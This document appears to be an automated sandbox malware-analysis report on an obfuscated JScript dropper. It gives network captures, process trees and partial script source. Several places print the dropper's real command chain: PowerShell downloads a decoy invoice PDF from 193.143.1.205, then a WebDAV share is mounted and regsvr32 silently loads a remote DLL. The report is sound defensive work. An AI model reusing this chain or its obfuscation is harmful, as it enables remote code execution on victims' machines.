Jan 11, 2025 03:05:17.672290087 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672302961 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672313929 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672323942 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672327995 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.672334909 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672384977 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.672384977 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.913229942 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:18.008057117 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:18.900190115 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:19.392024994 CET	49770	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:19.397027969 CET	8888	49770	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:19.397119999 CET	49770	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:19.397265911 CET	49770	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:19.402018070 CET	8888	49770	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:20.192516088 CET	8888	49770	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:20.233671904 CET	49770	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:20.445153952 CET	49770	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 03:06:45.327809095 CET	53272	53	192.168.2.11	1.1.1.1
Jan 11, 2025 03:06:45.332688093 CET	53	53272	1.1.1.1	192.168.2.11
Jan 11, 2025 03:06:45.334297895 CET	53272	53	192.168.2.11	1.1.1.1
Jan 11, 2025 03:06:45.334439993 CET	53272	53	192.168.2.11	1.1.1.1
Jan 11, 2025 03:06:45.339293957 CET	53	53272	1.1.1.1	192.168.2.11
Jan 11, 2025 03:06:45.797672033 CET	53	53272	1.1.1.1	192.168.2.11
Jan 11, 2025 03:06:45.841123104 CET	53272	53	192.168.2.11	1.1.1.1
Jan 11, 2025 03:06:45.846194029 CET	53	53272	1.1.1.1	192.168.2.11
Jan 11, 2025 03:06:45.846270084 CET	53272	53	192.168.2.11	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:05:27.004432917 CET	50679	53	192.168.2.11	1.1.1.1
Jan 11, 2025 03:06:45.326035976 CET	53	57255	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:05:27.004432917 CET	192.168.2.11	1.1.1.1	0x740a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:05:08.198451042 CET	1.1.1.1	192.168.2.11	0xb1fa	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:05:08.198451042 CET	1.1.1.1	192.168.2.11	0xb1fa	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:27.014978886 CET	1.1.1.1	192.168.2.11	0x740a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:05:27.790116072 CET	1.1.1.1	192.168.2.11	0xb15b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:27.790116072 CET	1.1.1.1	192.168.2.11	0xb15b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49750	193.143.1.205	80	2900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:05:16.074616909 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:05:16.897862911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:05:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:05:16.897890091 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:05:16.897902012 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:05:16.897953033 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:05:16.897964954 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 03:05:16.898144960 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 03:05:16.898158073 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 03:05:16.898169994 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 03:05:16.898318052 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 03:05:16.898329020 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 03:05:16.902842999 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49770	193.143.1.205	8888	3288	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:05:19.397265911 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:05:20.192516088 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:05:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:05:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js"
Imagebase:	0x7ff689f30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:05:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll
Imagebase:	0x7ff65f160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:05:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:05:12
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:05:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff68dea0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65f160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6302e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:05:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:05:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:05:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1632,i,15381475239559648438,13996178919531492773,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function iwtuer() {	iwtuer() ➔ undefined
1	lsuqvrz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var idwnszxwy = this[fdzbfrn + rnhxirnhm + tsmxjz + dfegbiudg + ftabvqgns + zsqfsaeg + lzboi + uzmzwodo] ( this[hxyeccqfv + crbntkz + rahmbdt + tsmxjz + edfocskpi + fdzbfrn + uzmzwodo][jsqlcywz + tsmxjz + ftabvqgns + rnhxirnhm + uzmzwodo + ftabvqgns + amwsrrahp + exvst + tigdphhuc + ftabvqgns + rahmbdt + uzmzwodo] ( hxyeccqfv + crbntkz + rahmbdt + tsmxjz + edfocskpi + fdzbfrn + uzmzwodo + cguhrc + crbntkz + gyrhfkf + ftabvqgns + kcgvoc + kcgvoc ) [ebvnl + ftabvqgns + nrxykp + ebvnl + ftabvqgns + rnhxirnhm + xdtrcyv] ( jtyxlwmqh + ozyek + zwdnpq + rvhlnrhss + cccey + jsqlcywz + zgebk + ebvnl + ebvnl + zwdnpq + hbhrwmr + obaxhj + cccey + zgebk + crbntkz + zwdnpq + ebvnl + rcxxsjszv + jsqlcywz + uzccs + lzboi + uzmzwodo + tsmxjz + uzccs + kcgvoc + anlloq + avuhsw + rnhxirnhm + lzboi + ftabvqgns + kcgvoc + rcxxsjszv + zsqfsaeg + lzboi + uzmzwodo + ftabvqgns + tsmxjz + lzboi + rnhxirnhm + uzmzwodo + edfocskpi + uzccs + lzboi + rnhxirnhm + kcgvoc + rcxxsjszv + nsnltxtuw + uzccs + rahmbdt + rnhxirnhm + kcgvoc + ftabvqgns ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( shcrtv = 0 ; shcrtv < lsuqvrz[kcgvoc + ftabvqgns + lzboi + nrxykp + uzmzwodo + gyrhfkf] ; ++ shcrtv )
4	{
5	if ( idwnszxwy == lsuqvrz[shcrtv] )
6	{
7	idwnszxwy = true;
8	break ;
9	}
10	}
11	if ( idwnszxwy !== true )
12	this[hxyeccqfv + crbntkz + rahmbdt + tsmxjz + edfocskpi + fdzbfrn + uzmzwodo][ibktexjwt + nrqhcvjw + edfocskpi + uzmzwodo] ( );
13	this[hxyeccqfv + crbntkz + rahmbdt + tsmxjz + edfocskpi + fdzbfrn + uzmzwodo][jsqlcywz + tsmxjz + ftabvqgns + rnhxirnhm + uzmzwodo + ftabvqgns + amwsrrahp + exvst + tigdphhuc + ftabvqgns + rahmbdt + uzmzwodo] ( hxyeccqfv + crbntkz + rahmbdt + tsmxjz + edfocskpi + fdzbfrn + uzmzwodo + cguhrc + crbntkz + gyrhfkf + ftabvqgns + kcgvoc + kcgvoc ) [tsmxjz + nrqhcvjw + lzboi] ( rahmbdt + fsxahehkm + xdtrcyv + anlloq + pblig + rahmbdt + anlloq + fdzbfrn + uzccs + laqdpxmbg + ftabvqgns + tsmxjz + dfegbiudg + gyrhfkf + ftabvqgns + kcgvoc + kcgvoc + cguhrc + ftabvqgns + xeoliiheo + ftabvqgns + anlloq + eujewzzl + jsqlcywz + uzccs + fsxahehkm + fsxahehkm + rnhxirnhm + lzboi + xdtrcyv + anlloq + jkfcqpyd + zsqfsaeg + lzboi + wvnydcs + uzccs + ckjxa + ftabvqgns + eujewzzl + hxyeccqfv + ftabvqgns + exvst + ebvnl + ftabvqgns + sbzpslca + nrqhcvjw + ftabvqgns + dfegbiudg + uzmzwodo + anlloq + eujewzzl + amwsrrahp + nrqhcvjw + uzmzwodo + zrtzf + edfocskpi + kcgvoc + ftabvqgns + anlloq + jqhql + uzmzwodo + ftabvqgns + fsxahehkm + fdzbfrn + jqhql + rcxxsjszv + edfocskpi + lzboi + wvnydcs + uzccs + edfocskpi + rahmbdt + ftabvqgns + cguhrc + fdzbfrn + xdtrcyv + xyyhimcze + anlloq + gyrhfkf + uzmzwodo + uzmzwodo + fdzbfrn + jrfngbrra + pblig + pblig + cvgeq + wlxgstked + mntlzq + cguhrc + cvgeq + grdrnhj + mntlzq + cguhrc + cvgeq + cguhrc + wrhlkpi + igxwj + srxkxhntz + pblig + edfocskpi + lzboi + wvnydcs + uzccs + edfocskpi + rahmbdt + ftabvqgns + cguhrc + fdzbfrn + gyrhfkf + fdzbfrn + jkfcqpyd + kkhupoa + kkhupoa + dfegbiudg + uzmzwodo + rnhxirnhm + tsmxjz + uzmzwodo + anlloq + jqhql + uzmzwodo + ftabvqgns + fsxahehkm + fdzbfrn + jqhql + rcxxsjszv + edfocskpi + lzboi + wvnydcs + uzccs + edfocskpi + rahmbdt + ftabvqgns + cguhrc + fdzbfrn + xdtrcyv + xyyhimcze + kkhupoa + kkhupoa + rahmbdt + fsxahehkm + xdtrcyv + anlloq + pblig + rahmbdt + anlloq + lzboi + ftabvqgns + uzmzwodo + anlloq + nrqhcvjw + dfegbiudg + ftabvqgns + anlloq + rcxxsjszv + rcxxsjszv + cvgeq + wlxgstked + mntlzq + cguhrc + cvgeq + grdrnhj + mntlzq + cguhrc + cvgeq + cguhrc + wrhlkpi + igxwj + srxkxhntz + mvhzl + zatbrhm + zatbrhm + zatbrhm + zatbrhm + rcxxsjszv + xdtrcyv + rnhxirnhm + wvnydcs + laqdpxmbg + laqdpxmbg + laqdpxmbg + tsmxjz + uzccs + uzccs + uzmzwodo + rcxxsjszv + kkhupoa + kkhupoa + rahmbdt + fsxahehkm + xdtrcyv + anlloq + pblig + rahmbdt + anlloq + tsmxjz + ftabvqgns + nrxykp + dfegbiudg + wvnydcs + tsmxjz + mntlzq + wrhlkpi + anlloq + pblig + dfegbiudg + anlloq + rcxxsjszv + rcxxsjszv + cvgeq + wlxgstked + mntlzq + cguhrc + cvgeq + grdrnhj + mntlzq + cguhrc + cvgeq + cguhrc + wrhlkpi + igxwj + srxkxhntz + mvhzl + zatbrhm + zatbrhm + zatbrhm + zatbrhm + rcxxsjszv + xdtrcyv + rnhxirnhm + wvnydcs + laqdpxmbg + laqdpxmbg + laqdpxmbg + tsmxjz + uzccs + uzccs + uzmzwodo + rcxxsjszv + srxkxhntz + zatbrhm + wrhlkpi + qswjhec + cvgeq + cvgeq + cvgeq + mntlzq + igxwj + cvgeq + wlxgstked + cvgeq + cvgeq + qsmblja + cguhrc + xdtrcyv + kcgvoc + kcgvoc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll",0,false) ➔ 0
14	}
15	cvgeq = "O";
16	cvgeq = "m";
17	cvgeq = "I";
18	cvgeq = "1";
19	hbhrwmr = "s";
20	hbhrwmr = "r";
21	hbhrwmr = "m";
22	hbhrwmr = "N";
23	hbhrwmr = "T";
24	hbhrwmr = "O";
25	hbhrwmr = "x";
26	hbhrwmr = "X";
27	hbhrwmr = "i";
28	hbhrwmr = "T";
29	hbhrwmr = "E";
30	hbhrwmr = "w";
31	hbhrwmr = "C";
32	hbhrwmr = "d";
33	hbhrwmr = "j";
34	hbhrwmr = "r";
35	hbhrwmr = "q";
36	hbhrwmr = "N";
37	jkfcqpyd = "O";
38	jkfcqpyd = "o";
39	jkfcqpyd = "H";
40	jkfcqpyd = "u";
41	jkfcqpyd = "e";
42	jkfcqpyd = "j";
43	jkfcqpyd = "L";
44	jkfcqpyd = "F";
45	jkfcqpyd = "n";
46	jkfcqpyd = "Q";
47	jkfcqpyd = "o";
48	jkfcqpyd = "N";
49	jkfcqpyd = "p";
50	jkfcqpyd = "g";
51	jkfcqpyd = "l";
52	jkfcqpyd = "I";
53	jkfcqpyd = "E";
54	jkfcqpyd = "D";
55	jkfcqpyd = "C";
56	jkfcqpyd = "N";
57	jkfcqpyd = "m";
58	jkfcqpyd = "Z";
59	jkfcqpyd = "t";
60	jkfcqpyd = "l";
61	jkfcqpyd = "S";
62	jkfcqpyd = "U";
63	jkfcqpyd = "j";
64	jkfcqpyd = "r";
65	jkfcqpyd = "U";
66	jkfcqpyd = "n";
67	jkfcqpyd = "V";
68	jkfcqpyd = "r";
69	jkfcqpyd = "M";
70	jkfcqpyd = "q";
71	jkfcqpyd = "f";
72	jkfcqpyd = "b";
73	jkfcqpyd = "e";
74	jkfcqpyd = "V";
75	jkfcqpyd = "\"";
76	anlloq = "H";
77	anlloq = "A";
78	anlloq = "v";
79	anlloq = "q";
80	anlloq = "X";
81	anlloq = "d";
82	anlloq = "k";
83	anlloq = "p";
84	anlloq = "A";
85	anlloq = "B";
86	anlloq = "n";
87	anlloq = "p";
88	anlloq = "U";
89	anlloq = "W";
90	anlloq = "g";
91	anlloq = "u";
92	anlloq = "k";
93	anlloq = "r";
94	anlloq = "k";
95	anlloq = "W";
96	anlloq = "Y";
97	anlloq = "X";
98	anlloq = "w";
99	anlloq = "w";
100	anlloq = "J";
